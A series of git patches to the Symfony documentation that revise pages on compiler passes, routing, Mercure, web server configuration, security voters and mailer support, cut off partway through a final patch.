b/event_dispatcher.rst index 4baea527a77..17449012eb3 100644 --- a/event_dispatcher.rst +++ b/event_dispatcher.rst @@ -818,7 +818,6 @@ could listen to the ``mailer.post_send`` event and change the method's return va That's it! Your subscriber should be called automatically (or read more about :ref:`event subscriber configuration <ref-event-subscriber-configuration>`). - Learn More ---------- diff --git a/security.rst b/security.rst index 12ca6ae727a..4528d0d03b6 100644 --- a/security.rst +++ b/security.rst @@ -2659,8 +2659,6 @@ for these events. ]); }; -.. _security-authentication-events: - Authentication Events ~~~~~~~~~~~~~~~~~~~~~ @@ -2695,8 +2693,6 @@ Authentication Events authentication. Listeners to this event can modify the error response sent back to the user. -.. _security-other-events: - Other Events ~~~~~~~~~~~~ From 4964d30026e054837f3d4b7962a2bc596d8c0428 Mon Sep 17 00:00:00 2001 From: Javier Eguiluz <javier.eguiluz@gmail.com> Date: Thu, 31 Oct 2024 15:36:51 +0100 Subject: [PATCH 495/615] Minor tweak --- frontend/asset_mapper.rst | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/frontend/asset_mapper.rst b/frontend/asset_mapper.rst index b488fc76d11..ad5b78b5e13 100644 --- a/frontend/asset_mapper.rst +++ b/frontend/asset_mapper.rst @@ -1111,11 +1111,11 @@ Content Security Policy and CSS Files If your importmap includes CSS files, AssetMapper uses a trick to load those by adding ``data:application/javascript`` to the rendered importmap (see :ref:`Handling CSS <asset-mapper-handling-css>`). + This can cause browsers to report CSP violations and block the CSS files from -being loaded. -To prevent this, you can add `strict-dynamic`_ to the ``script-src`` directive -of your Content Security Policy, to tell the browser that the importmap is -allowed to load other resources. +being loaded. To prevent this, you can add `strict-dynamic`_ to the ``script-src`` +directive of your Content Security Policy, to tell the browser that the importmap +is allowed to load other resources. .. note:: From a18cae1f4869579c28b467f467862b0b661daadb Mon Sep 17 00:00:00 2001 From: Javier Eguiluz <javier.eguiluz@gmail.com> Date: Thu, 31 Oct 2024 17:04:03 +0100 Subject: [PATCH 496/615] [DependencyInjection] Update the article about compiler passes --- service_container/compiler_passes.rst | 80 ++++++++++++++++++--------- 1 file changed, 54 insertions(+), 26 deletions(-) diff --git a/service_container/compiler_passes.rst b/service_container/compiler_passes.rst index fc5728685e0..11458a4e8e3 100644 --- a/service_container/compiler_passes.rst +++ b/service_container/compiler_passes.rst @@ -3,53 +3,85 @@ How to Work with Compiler Passes Compiler passes give you an opportunity to manipulate other :doc:`service definitions </service_container/definitions>` that have been -registered with the service container. You can read about how to create them in -the components section ":ref:`components-di-separate-compiler-passes`". +registered with the service container. -Compiler passes are registered in the ``build()`` method of the application kernel:: +.. _kernel-as-compiler-pass: + +If your compiler pass is relatively small, you can define it inside the +application's ``Kernel`` class instead of creating a +:ref:`separate compiler pass class <components-di-separate-compiler-passes>`. + +To do so, make your kernel implement :class:`Symfony\\Component\\DependencyInjection\\Compiler\\CompilerPassInterface` +and add the compiler pass code inside the ``process()`` method:: // src/Kernel.php namespace App; - use App\DependencyInjection\Compiler\CustomPass; use Symfony\Bundle\FrameworkBundle\Kernel\MicroKernelTrait; + use Symfony\Component\DependencyInjection\Compiler\CompilerPassInterface; use Symfony\Component\DependencyInjection\ContainerBuilder; use Symfony\Component\HttpKernel\Kernel as BaseKernel; - class Kernel extends BaseKernel + class Kernel extends BaseKernel implements CompilerPassInterface { use MicroKernelTrait; // ... - protected function build(ContainerBuilder $container): void + public function process(ContainerBuilder $container): void { - $container->addCompilerPass(new CustomPass()); + // in this method you can manipulate the service container: + // for example, changing some container service: + $container->getDefinition('app.some_private_service')->setPublic(true); + + // or processing tagged services: + foreach ($container->findTaggedServiceIds('some_tag') as $id => $tags) { + // ... + } } } -.. _kernel-as-compiler-pass: - -One of the most common use-cases of compiler passes is to work with :doc:`tagged -services </service_container/tags>`. In those cases, instead of creating a -compiler pass, you can make the kernel implement -:class:`Symfony\\Component\\DependencyInjection\\Compiler\\CompilerPassInterface` -and process the services inside the ``process()`` method:: +If you create separate compiler pass classes, enable them in the ``build()`` +method of the application kernel:: // src/Kernel.php namespace App; + use App\DependencyInjection\Compiler\CustomPass; use Symfony\Bundle\FrameworkBundle\Kernel\MicroKernelTrait; - use Symfony\Component\DependencyInjection\Compiler\CompilerPassInterface; use Symfony\Component\DependencyInjection\ContainerBuilder; use Symfony\Component\HttpKernel\Kernel as BaseKernel; - class Kernel extends BaseKernel implements CompilerPassInterface + class Kernel extends BaseKernel { use MicroKernelTrait; // ... + protected function build(ContainerBuilder $container): void + { + $container->addCompilerPass(new CustomPass()); + } + } + +Working with Compiler Passes in Bundles +--------------------------------------- + +If your compiler pass is relatively small, you can add it directly in the main +bundle class. To do so, make your bundle implement the +:class:`Symfony\\Component\\DependencyInjection\\Compiler\\CompilerPassInterface` +and place the compiler pass code inside the ``process()`` method of the main +bundle class:: + + // src/MyBundle/MyBundle.php + namespace App\MyBundle; + + use App\DependencyInjection\Compiler\CustomPass; + use Symfony\Component\DependencyInjection\ContainerBuilder; + use Symfony\Component\HttpKernel\Bundle\AbstractBundle; + + class MyBundle extends AbstractBundle + { public function process(ContainerBuilder $container): void { // in this method you can manipulate the service container: @@ -63,12 +95,8 @@ and process the services inside the ``process()`` method:: } } -Working with Compiler Passes in Bundles ---------------------------------------- - -:doc:`Bundles </bundles>` can define compiler passes in the ``build()`` method of -the main bundle class (this is not needed when implementing the ``process()`` -method in the extension):: +Alternatively, when using :ref:`separate compiler pass classes <components-di-separate-compiler-passes>`, +bundles can enable them in the ``build()`` method of their main bundle class:: // src/MyBundle/MyBundle.php namespace App\MyBundle; @@ -88,7 +116,7 @@ method in the extension):: } If you are using custom :doc:`service tags </service_container/tags>` in a -bundle then by convention, tag names consist of the name of the bundle -(lowercase, underscores as separators), followed by a dot, and finally the -"real" name. For example, if you want to introduce some sort of "transport" tag -in your AcmeMailerBundle, you should call it ``acme_mailer.transport``. +bundle, the convention is to format tag names by starting with the bundle's name +in lowercase (using underscores as separators), followed by a dot, and finally +the specific tag name. For example, to introduce a "transport" tag in your +AcmeMailerBundle, you would name it ``acme_mailer.transport``. From 08c14844bd84010d7bfcdab939305323044966d4 Mon Sep 17 00:00:00 2001 From: Toby Griffiths <toby@cubicmushroom.co.uk> Date: Thu, 19 Sep 2024 19:29:44 +0100 Subject: [PATCH 497/615] [Routing] Add note on nuances of the Routing exclude config option --- routing.rst | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/routing.rst b/routing.rst index 57a087b8cfa..682b96d9c42 100644 --- a/routing.rst +++ b/routing.rst @@ -1439,7 +1439,7 @@ when importing the routes. # config/routes/attributes.yaml controllers: - resource: '../../src/Controller/' + resource: '../../src/Controller/**/*' type: attribute # this is added to the beginning of all imported route URLs prefix: '/blog' @@ -1455,6 +1455,9 @@ when importing the routes. # you can optionally exclude some files/subdirectories when loading attributes # (the value must be a string or an array of PHP glob patterns) + # NOTE: For now, this will only work if you are using the string, glob notation for the + # resource value. The array notation containing `path` & `namespace` will not work, + # and neither will using a non-glob string like `'../src/Controller'`. # exclude: '../../src/Controller/{Debug*Controller.php}' .. code-block:: xml From 99427cb25bfb91a4a66bbfb0cdd950d5fc19fce8 Mon Sep 17 00:00:00 2001 From: Javier Eguiluz <javier.eguiluz@gmail.com> Date: Thu, 31 Oct 2024 17:39:09 +0100 Subject: [PATCH 498/615] Reword --- routing.rst | 11 +++++++---- 1 file changed, 7 insertions(+), 4 deletions(-) diff --git a/routing.rst b/routing.rst index 682b96d9c42..e2ca7f1a1fe 100644 --- a/routing.rst +++ b/routing.rst @@ -1439,7 +1439,7 @@ when importing the routes. # config/routes/attributes.yaml controllers: - resource: '../../src/Controller/**/*' + resource: '../../src/Controller/' type: attribute # this is added to the beginning of all imported route URLs prefix: '/blog' @@ -1455,9 +1455,6 @@ when importing the routes. # you can optionally exclude some files/subdirectories when loading attributes # (the value must be a string or an array of PHP glob patterns) - # NOTE: For now, this will only work if you are using the string, glob notation for the - # resource value. The array notation containing `path` & `namespace` will not work, - # and neither will using a non-glob string like `'../src/Controller'`. # exclude: '../../src/Controller/{Debug*Controller.php}' .. code-block:: xml @@ -1523,6 +1520,12 @@ when importing the routes. ; }; +.. caution:: + + The ``exclude`` option only works when the ``resource`` value is a glob string. + If you use a regular string (e.g. ``'../src/Controller'``) the ``exclude`` + value will be ignored. + In this example, the route of the ``index()`` action will be called ``blog_index`` and its URL will be ``/blog/{_locale}``. The route of the ``show()`` action will be called ``blog_show`` and its URL will be ``/blog/{_locale}/posts/{slug}``. Both routes From d1bdedf1931c87ad3577f68ead3429f81cc16e41 Mon Sep 17 00:00:00 2001 From: Thomas Landauer <thomas@landauer.at> Date: Thu, 7 Nov 2024 00:16:01 +0100 Subject: [PATCH 499/615] Update mercure.rst: Moving Mercure's prod hub further upwards Page: https://symfony.com/doc/5.x/mercure.html Reason: If people need Mercure's binary *in any case* (for prod), this should be mentioned first. --- mercure.rst | 35 +++++++++++++++++------------------ 1 file changed, 17 insertions(+), 18 deletions(-) diff --git a/mercure.rst b/mercure.rst index bbc8771b82c..1cc413e6c5a 100644 --- a/mercure.rst +++ b/mercure.rst @@ -48,13 +48,28 @@ Run this command to install the Mercure support: $ composer require mercure +Running a Mercure Hub +~~~~~~~~~~~~~~~~~~~~~ + To manage persistent connections, Mercure relies on a Hub: a dedicated server that handles persistent SSE connections with the clients. The Symfony app publishes the updates to the hub, that will broadcast them to clients. +.. raw:: html + + <object data="_images/mercure/hub.svg" type="image/svg+xml" + alt="Flow diagram showing a Symfony app communicating with the Mercure Hub using a POST request, and the Mercure Hub using SSE to communicate to the clients." + ></object> + +In production, you have to install a Mercure hub by yourself. +An official and open source (AGPL) hub based on the Caddy web server +can be downloaded as a static binary from `Mercure.rocks`_. +A Docker image, a Helm chart for Kubernetes +and a managed, High Availability Hub are also provided. + Thanks to :doc:`the Docker integration of Symfony </setup/docker>`, -:ref:`Flex <symfony-flex>` proposes to install a Mercure hub. +:ref:`Flex <symfony-flex>` proposes to install a Mercure hub for development. Run ``docker-compose up`` to start the hub if you have chosen this option. If you use the :doc:`Symfony Local Web Server </setup/symfony_server>`, @@ -64,23 +79,7 @@ you must start it with the ``--no-tls`` option. $ symfony server:start --no-tls -d -Running a Mercure Hub -~~~~~~~~~~~~~~~~~~~~~ - -.. raw:: html - - <object data="_images/mercure/hub.svg" type="image/svg+xml" - alt="Flow diagram showing a Symfony app communicating with the Mercure Hub using a POST request, and the Mercure Hub using SSE to communicate to the clients." - ></object> - -If you use the Docker integration, a hub is already up and running, -and you can go straight to the next section. - -Otherwise, and in production, you have to install a hub by yourself. -An official and open source (AGPL) Hub based on the Caddy web server -can be downloaded as a static binary from `Mercure.rocks`_. -A Docker image, a Helm chart for Kubernetes -and a managed, High Availability Hub are also provided. +If you use the Docker integration, a hub is already up and running. Configuration ------------- From 1a72556ae9bc4cc769fac8e81d950fc0afb2c6ca Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Maxime=20H=C3=A9lias?= <maximehelias16@gmail.com> Date: Thu, 7 Nov 2024 13:26:14 +0100 Subject: [PATCH 500/615] [DependencyInjection] fix attribute first element --- service_container/service_decoration.rst | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/service_container/service_decoration.rst b/service_container/service_decoration.rst index 97c4c25090b..0f75b5284c8 100644 --- a/service_container/service_decoration.rst +++ b/service_container/service_decoration.rst @@ -630,7 +630,7 @@ Three different behaviors are available: class Bar { public function __construct( - private #[AutowireDecorated] $inner, + #[AutowireDecorated] private $inner, ) { } From 590225c3e7ef97c3fbdaac09f19e430d4d0a2423 Mon Sep 17 00:00:00 2001 From: "Phil E. Taylor" <phil@phil-taylor.com> Date: Wed, 6 Nov 2024 15:26:00 +0000 Subject: [PATCH 501/615] Update link to PHP docs --- controller.rst | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/controller.rst b/controller.rst index f34507fc68b..c38836ce8f6 100644 --- a/controller.rst +++ b/controller.rst @@ -846,6 +846,6 @@ Learn more about Controllers .. _`Early hints`: https://developer.mozilla.org/en-US/docs/Web/HTTP/Status/103 .. _`SAPI`: https://www.php.net/manual/en/function.php-sapi-name.php .. _`FrankenPHP`: https://frankenphp.dev -.. _`Validate Filters`: https://www.php.net/manual/en/filter.filters.validate.php +.. _`Validate Filters`: https://www.php.net/manual/en/filter.constants.php .. _`phpstan/phpdoc-parser`: https://packagist.org/packages/phpstan/phpdoc-parser .. _`phpdocumentor/type-resolver`: https://packagist.org/packages/phpdocumentor/type-resolver From 98197e2ef801dba45e903700883e2e6143151816 Mon Sep 17 00:00:00 2001 From: Thomas Landauer <thomas@landauer.at> Date: Thu, 7 Nov 2024 16:27:41 +0100 Subject: [PATCH 502/615] Update web_server_configuration.rst: Movin nginx above Apache Page: https://symfony.com/doc/current/setup/web_server_configuration.html Reason: IMO nginx is more widely used nowadays. --- setup/web_server_configuration.rst | 108 ++++++++++++++--------------- 1 file changed, 54 insertions(+), 54 deletions(-) diff --git a/setup/web_server_configuration.rst b/setup/web_server_configuration.rst index e5a0c9e7fd9..f8f4bd76606 100644 --- a/setup/web_server_configuration.rst +++ b/setup/web_server_configuration.rst @@ -49,60 +49,6 @@ listen on. Each pool can also be run under a different UID and GID: ; or listen on a TCP connection ; listen = 127.0.0.1:9000 -Apache ------- - -If you are running Apache 2.4+, you can use ``mod_proxy_fcgi`` to pass -incoming requests to PHP-FPM. Install the Apache2 FastCGI mod -(``libapache2-mod-fastcgi`` on Debian), enable ``mod_proxy`` and -``mod_proxy_fcgi`` in your Apache configuration, and use the ``SetHandler`` -directive to pass requests for PHP files to PHP FPM: - -.. code-block:: apache - - # /etc/apache2/conf.d/example.com.conf - <VirtualHost *:80> - ServerName example.com - ServerAlias www.example.com - - # Uncomment the following line to force Apache to pass the Authorization - # header to PHP: required for "basic_auth" under PHP-FPM and FastCGI - # - # SetEnvIfNoCase ^Authorization$ "(.+)" HTTP_AUTHORIZATION=$1 - - <FilesMatch \.php$> - # when using PHP-FPM as a unix socket - SetHandler proxy:unix:/var/run/php/php8.3-fpm.sock|fcgi://dummy - - # when PHP-FPM is configured to use TCP - # SetHandler proxy:fcgi://127.0.0.1:9000 - </FilesMatch> - - DocumentRoot /var/www/project/public - <Directory /var/www/project/public> - AllowOverride None - Require all granted - FallbackResource /index.php - </Directory> - - # uncomment the following lines if you install assets as symlinks - # or run into problems when compiling LESS/Sass/CoffeeScript assets - # <Directory /var/www/project> - # Options FollowSymlinks - # </Directory> - - ErrorLog /var/log/apache2/project_error.log - CustomLog /var/log/apache2/project_access.log combined - </VirtualHost> - -.. note:: - - If you are doing some quick tests with Apache, you can also run - ``composer require symfony/apache-pack``. This package creates an ``.htaccess`` - file in the ``public/`` directory with the necessary rewrite rules needed to serve - the Symfony application. However, in production, it's recommended to move these - rules to the main Apache configuration file (as shown above) to improve performance. - Nginx ----- @@ -190,6 +136,60 @@ The **minimum configuration** to get your application running under Nginx is: For advanced Nginx configuration options, read the official `Nginx documentation`_. +Apache +------ + +If you are running Apache 2.4+, you can use ``mod_proxy_fcgi`` to pass +incoming requests to PHP-FPM. Install the Apache2 FastCGI mod +(``libapache2-mod-fastcgi`` on Debian), enable ``mod_proxy`` and +``mod_proxy_fcgi`` in your Apache configuration, and use the ``SetHandler`` +directive to pass requests for PHP files to PHP FPM: + +.. code-block:: apache + + # /etc/apache2/conf.d/example.com.conf + <VirtualHost *:80> + ServerName example.com + ServerAlias www.example.com + + # Uncomment the following line to force Apache to pass the Authorization + # header to PHP: required for "basic_auth" under PHP-FPM and FastCGI + # + # SetEnvIfNoCase ^Authorization$ "(.+)" HTTP_AUTHORIZATION=$1 + + <FilesMatch \.php$> + # when using PHP-FPM as a unix socket + SetHandler proxy:unix:/var/run/php/php8.3-fpm.sock|fcgi://dummy + + # when PHP-FPM is configured to use TCP + # SetHandler proxy:fcgi://127.0.0.1:9000 + </FilesMatch> + + DocumentRoot /var/www/project/public + <Directory /var/www/project/public> + AllowOverride None + Require all granted + FallbackResource /index.php + </Directory> + + # uncomment the following lines if you install assets as symlinks + # or run into problems when compiling LESS/Sass/CoffeeScript assets + # <Directory /var/www/project> + # Options FollowSymlinks + # </Directory> + + ErrorLog /var/log/apache2/project_error.log + CustomLog /var/log/apache2/project_access.log combined + </VirtualHost> + +.. note:: + + If you are doing some quick tests with Apache, you can also run + ``composer require symfony/apache-pack``. This package creates an ``.htaccess`` + file in the ``public/`` directory with the necessary rewrite rules needed to serve + the Symfony application. However, in production, it's recommended to move these + rules to the main Apache configuration file (as shown above) to improve performance. + Caddy ----- From 0a2d1589e3fcf93e87cc063d7aa77139b2b70a41 Mon Sep 17 00:00:00 2001 From: Javier Eguiluz <javier.eguiluz@gmail.com> Date: Thu, 7 Nov 2024 16:41:27 +0100 Subject: [PATCH 503/615] [DependencyInjection] fix attribute first element --- service_container/service_decoration.rst | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/service_container/service_decoration.rst b/service_container/service_decoration.rst index 97c4c25090b..0f75b5284c8 100644 --- a/service_container/service_decoration.rst +++ b/service_container/service_decoration.rst @@ -630,7 +630,7 @@ Three different behaviors are available: class Bar { public function __construct( - private #[AutowireDecorated] $inner, + #[AutowireDecorated] private $inner, ) { } From 92cb40ec42a1ed4f42b9ed5aa568717df3ebb1de Mon Sep 17 00:00:00 2001 From: Thomas Landauer <thomas@landauer.at> Date: Fri, 8 Nov 2024 01:31:59 +0100 Subject: [PATCH 504/615] Update mercure.rst: Moving tip about debugger upwards Page: https://symfony.com/doc/5.x/mercure.html#subscribing Reason: This belongs to the code block, not to the DevTools screenshot. --- mercure.rst | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/mercure.rst b/mercure.rst index 1cc413e6c5a..ec0a3dfd042 100644 --- a/mercure.rst +++ b/mercure.rst @@ -306,6 +306,10 @@ as patterns: } </script> +.. tip:: + + Test if a URI Template matches a URL using `the online debugger`_ + .. tip:: Google Chrome DevTools natively integrate a `practical UI`_ displaying in live @@ -321,10 +325,6 @@ as patterns: * click on the request to the Mercure hub * click on the "EventStream" sub-tab. -.. tip:: - - Test if a URI Template match a URL using `the online debugger`_ - Discovery --------- From 626d56ef5863b08a206196cb089a1d2c2557339c Mon Sep 17 00:00:00 2001 From: Christian Flothmann <christian.flothmann@qossmic.com> Date: Sat, 9 Nov 2024 11:08:20 +0100 Subject: [PATCH 505/615] remove note about the reverted Default group change --- serializer.rst | 12 ------------ 1 file changed, 12 deletions(-) diff --git a/serializer.rst b/serializer.rst index 91fd92a39a3..bfd838bc4bb 100644 --- a/serializer.rst +++ b/serializer.rst @@ -385,18 +385,6 @@ stored in one of the following locations: * All ``*.yaml`` and ``*.xml`` files in the ``Resources/config/serialization/`` directory of a bundle. -.. note:: - - The groups used by default when normalizing and denormalizing objects are - ``Default`` and the group that matches the class name. For example, if you - are normalizing a ``App\Entity\Product`` object, the groups used are - ``Default`` and ``Product``. - - .. versionadded:: 7.1 - - The default use of the class name and ``Default`` groups when normalizing - and denormalizing objects was introduced in Symfony 7.1. - .. _serializer-enabling-metadata-cache: Using Nested Attributes From 8ed98d3230446e82ee5dab677dc0afc8a9c53f66 Mon Sep 17 00:00:00 2001 From: Matthieu Lempereur <matt.lempereur@gmail.com> Date: Mon, 11 Nov 2024 17:44:07 +0100 Subject: [PATCH 506/615] add a missing value in MacAdress constraint --- reference/constraints/MacAddress.rst | 1 + 1 file changed, 1 insertion(+) diff --git a/reference/constraints/MacAddress.rst b/reference/constraints/MacAddress.rst index 59adffe7c11..9a282ddf118 100644 --- a/reference/constraints/MacAddress.rst +++ b/reference/constraints/MacAddress.rst @@ -132,6 +132,7 @@ Parameter Allowed MAC addresses ``multicast_no_broadcast`` Only multicast except broadcast ``unicast_all`` Only unicast ``universal_all`` Only universal +``universal_unicast`` Only universal and unicast ``universal_multicast`` Only universal and multicast ================================ ========================================= From fc0030a5c508300860d9bdeb3db01e499b3c2bcc Mon Sep 17 00:00:00 2001 From: Christian Flothmann <christian.flothmann@qossmic.com> Date: Wed, 13 Nov 2024 09:58:23 +0100 Subject: [PATCH 507/615] use access decision manager to control which token to vote on --- security/impersonating_user.rst | 12 ++++++------ security/voters.rst | 16 ++++++++-------- 2 files changed, 14 insertions(+), 14 deletions(-) diff --git a/security/impersonating_user.rst b/security/impersonating_user.rst index 36232243e1f..ffcab67194e 100644 --- a/security/impersonating_user.rst +++ b/security/impersonating_user.rst @@ -309,17 +309,17 @@ logic you want:: namespace App\Security\Voter; use Symfony\Component\Security\Core\Authentication\Token\TokenInterface; + use Symfony\Component\Security\Core\Authorization\AccessDecisionManagerInterface; use Symfony\Component\Security\Core\Authorization\Voter\Voter; - use Symfony\Component\Security\Core\Security; use Symfony\Component\Security\Core\User\UserInterface; class SwitchToCustomerVoter extends Voter { - private $security; + private $accessDecisionManager; - public function __construct(Security $security) + public function __construct(AccessDecisionManager $accessDecisionManager) { - $this->security = $security; + $this->accessDecisionManager = $accessDecisionManager; } protected function supports($attribute, $subject): bool @@ -337,12 +337,12 @@ logic you want:: } // you can still check for ROLE_ALLOWED_TO_SWITCH - if ($this->security->isGranted('ROLE_ALLOWED_TO_SWITCH')) { + if ($this->accessDecisionManager->isGranted($token, ['ROLE_ALLOWED_TO_SWITCH'])) { return true; } // check for any roles you want - if ($this->security->isGranted('ROLE_TECH_SUPPORT')) { + if ($this->accessDecisionManager->isGranted($token, ['ROLE_TECH_SUPPORT'])) { return true; } diff --git a/security/voters.rst b/security/voters.rst index a770e386c02..acab7ff65f6 100644 --- a/security/voters.rst +++ b/security/voters.rst @@ -222,25 +222,25 @@ Checking for Roles inside a Voter --------------------------------- What if you want to call ``isGranted()`` from *inside* your voter - e.g. you want -to see if the current user has ``ROLE_SUPER_ADMIN``. That's possible by injecting -the :class:`Symfony\\Component\\Security\\Core\\Security` -into your voter. You can use this to, for example, *always* allow access to a user +to see if the current user has ``ROLE_SUPER_ADMIN``. That's possible by using an +:class:`access decision manager <Symfony\\Component\\Security\\Core\\Authorization\\AccessDecisionManagerInterface>` +inside your voter. You can use this to, for example, *always* allow access to a user with ``ROLE_SUPER_ADMIN``:: // src/Security/PostVoter.php // ... - use Symfony\Component\Security\Core\Security; + use Symfony\Component\Security\Core\Authorization\AccessDecisionManagerInterface; class PostVoter extends Voter { // ... - private $security; + private $accessDecisionManager; - public function __construct(Security $security) + public function __construct(AccessDecisionManagerInterface $accessDecisionManager) { - $this->security = $security; + $this->accessDecisionManager = $accessDecisionManager; } protected function voteOnAttribute($attribute, $subject, TokenInterface $token): bool @@ -248,7 +248,7 @@ with ``ROLE_SUPER_ADMIN``:: // ... // ROLE_SUPER_ADMIN can do anything! The power! - if ($this->security->isGranted('ROLE_SUPER_ADMIN')) { + if ($this->accessDecisionManager->isGranted($token, ['ROLE_SUPER_ADMIN'])) { return true; } From 4eed10be822e64078281704b91b404b8803d2d3d Mon Sep 17 00:00:00 2001 From: Matthieu Lempereur <matt.lempereur@gmail.com> Date: Mon, 18 Nov 2024 09:44:26 +0100 Subject: [PATCH 508/615] mailersend support webhook --- mailer.rst | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/mailer.rst b/mailer.rst index 6527fecaa16..b8421cc6d26 100644 --- a/mailer.rst +++ b/mailer.rst @@ -107,7 +107,7 @@ Service Install with Webhook su `Mailgun`_ ``composer require symfony/mailgun-mailer`` yes `Mailjet`_ ``composer require symfony/mailjet-mailer`` yes `MailPace`_ ``composer require symfony/mail-pace-mailer`` -`MailerSend`_ ``composer require symfony/mailer-send-mailer`` +`MailerSend`_ ``composer require symfony/mailer-send-mailer`` yes `Mandrill`_ ``composer require symfony/mailchimp-mailer`` `Postmark`_ ``composer require symfony/postmark-mailer`` yes `Resend`_ ``composer require symfony/resend-mailer`` yes From c9b77efec4d0a5244e85559b56647792b685d08a Mon Sep 17 00:00:00 2001 From: Javier Eguiluz <javier.eguiluz@gmail.com> Date: Tue, 19 Nov 2024 10:16:46 +0100 Subject: [PATCH 509/615] Add some informacion about why not using the Security service --- security/voters.rst | 19 +++++++++++++++++++ 1 file changed, 19 insertions(+) diff --git a/security/voters.rst b/security/voters.rst index acab7ff65f6..2298fb155fd 100644 --- a/security/voters.rst +++ b/security/voters.rst @@ -256,6 +256,25 @@ with ``ROLE_SUPER_ADMIN``:: } } +.. caution:: + + In the previous example, avoid using the following code to check if a role + is granted permission:: + + // DON'T DO THIS + use Symfony\Component\Security\Core\Security; + // ... + + if ($this->security->isGranted('ROLE_SUPER_ADMIN')) { + // ... + } + + The ``Security::isGranted()`` method inside a voter has a significant + drawback: it does not guarantee that the checks are performed on the same + token as the one in your voter. The token in the token storage might have + changed or could change in the meantime. Always use the ``AccessDecisionManager`` + instead. + If you're using the :ref:`default services.yaml configuration <service-container-services-load-example>`, you're done! Symfony will automatically pass the ``security.helper`` service when instantiating your voter (thanks to autowiring). From 57857d5a8894761c8c7b6c029bef91d071efc5ab Mon Sep 17 00:00:00 2001 From: Javier Eguiluz <javier.eguiluz@gmail.com> Date: Tue, 19 Nov 2024 11:28:39 +0100 Subject: [PATCH 510/615] Fix a minor syntax issue --- security/voters.rst | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/security/voters.rst b/security/voters.rst index 2298fb155fd..5ba258cd19a 100644 --- a/security/voters.rst +++ b/security/voters.rst @@ -269,11 +269,11 @@ with ``ROLE_SUPER_ADMIN``:: // ... } - The ``Security::isGranted()`` method inside a voter has a significant - drawback: it does not guarantee that the checks are performed on the same - token as the one in your voter. The token in the token storage might have - changed or could change in the meantime. Always use the ``AccessDecisionManager`` - instead. + The ``Security::isGranted()`` method inside a voter has a significant + drawback: it does not guarantee that the checks are performed on the same + token as the one in your voter. The token in the token storage might have + changed or could change in the meantime. Always use the ``AccessDecisionManager`` + instead. If you're using the :ref:`default services.yaml configuration <service-container-services-load-example>`, you're done! Symfony will automatically pass the ``security.helper`` From b6b649481ed58adab056dac223a6a5ffdde6c368 Mon Sep 17 00:00:00 2001 From: Hugo Posnic <hugo.posnic@protonmail.com> Date: Mon, 18 Nov 2024 18:03:22 +0100 Subject: [PATCH 511/615] Duplicate a note useful for varnish --- http_cache/varnish.rst | 6 ++++++ 1 file changed, 6 insertions(+) diff --git a/http_cache/varnish.rst b/http_cache/varnish.rst index 3c1fa6d5346..1bc77530c70 100644 --- a/http_cache/varnish.rst +++ b/http_cache/varnish.rst @@ -44,6 +44,12 @@ header. In this case, you need to add the following configuration snippet: } } +.. note:: + + Forcing HTTPS while using a reverse proxy or load balancer requires a proper + configuration to avoid infinite redirect loops; see :doc:`/deployment/proxies` + for more details. + Cookies and Caching ------------------- From 97599f7235111038662161fb171742e49033bb60 Mon Sep 17 00:00:00 2001 From: Oliver Kossin <oliver.kossin@massiveart.com> Date: Tue, 19 Nov 2024 15:37:56 +0100 Subject: [PATCH 512/615] Fix isGranted to decide --- security/impersonating_user.rst | 4 ++-- security/voters.rst | 2 +- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/security/impersonating_user.rst b/security/impersonating_user.rst index ffcab67194e..f74528cfb89 100644 --- a/security/impersonating_user.rst +++ b/security/impersonating_user.rst @@ -337,12 +337,12 @@ logic you want:: } // you can still check for ROLE_ALLOWED_TO_SWITCH - if ($this->accessDecisionManager->isGranted($token, ['ROLE_ALLOWED_TO_SWITCH'])) { + if ($this->accessDecisionManager->decide($token, ['ROLE_ALLOWED_TO_SWITCH'])) { return true; } // check for any roles you want - if ($this->accessDecisionManager->isGranted($token, ['ROLE_TECH_SUPPORT'])) { + if ($this->accessDecisionManager->decide($token, ['ROLE_TECH_SUPPORT'])) { return true; } diff --git a/security/voters.rst b/security/voters.rst index 5ba258cd19a..5019638fdf4 100644 --- a/security/voters.rst +++ b/security/voters.rst @@ -248,7 +248,7 @@ with ``ROLE_SUPER_ADMIN``:: // ... // ROLE_SUPER_ADMIN can do anything! The power! - if ($this->accessDecisionManager->isGranted($token, ['ROLE_SUPER_ADMIN'])) { + if ($this->accessDecisionManager->decide($token, ['ROLE_SUPER_ADMIN'])) { return true; } From 8905736ce78696955e5d8ae59321e5ebd2fda417 Mon Sep 17 00:00:00 2001 From: Florian Merle <florian.david.merle@gmail.com> Date: Thu, 21 Nov 2024 17:23:17 +0100 Subject: [PATCH 513/615] Fix error_pages.rst setResponse() --- controller/error_pages.rst | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/controller/error_pages.rst b/controller/error_pages.rst index 6a8b343ceca..0341c30e941 100644 --- a/controller/error_pages.rst +++ b/controller/error_pages.rst @@ -319,7 +319,7 @@ error pages. .. note:: - If your listener calls ``setThrowable()`` on the + If your listener calls ``setResponse()`` on the :class:`Symfony\\Component\\HttpKernel\\Event\\ExceptionEvent` event, propagation will be stopped and the response will be sent to the client. From bb7702481c4e3720795e06415cb450a96a3c993d Mon Sep 17 00:00:00 2001 From: Javier Eguiluz <javier.eguiluz@gmail.com> Date: Fri, 22 Nov 2024 16:21:09 +0100 Subject: [PATCH 514/615] Use non-static PHPUnit assert methods --- components/clock.rst | 6 +++--- http_client.rst | 12 ++++++------ 2 files changed, 9 insertions(+), 9 deletions(-) diff --git a/components/clock.rst b/components/clock.rst index f58124c70af..1ae56775b77 100644 --- a/components/clock.rst +++ b/components/clock.rst @@ -143,18 +143,18 @@ is expired or not, by modifying the clock's time:: $validUntil = new DateTimeImmutable('2022-11-16 15:25:00'); // $validUntil is in the future, so it is not expired - static::assertFalse($expirationChecker->isExpired($validUntil)); + $this->assertFalse($expirationChecker->isExpired($validUntil)); // Clock sleeps for 10 minutes, so now is '2022-11-16 15:30:00' $clock->sleep(600); // Instantly changes time as if we waited for 10 minutes (600 seconds) // modify the 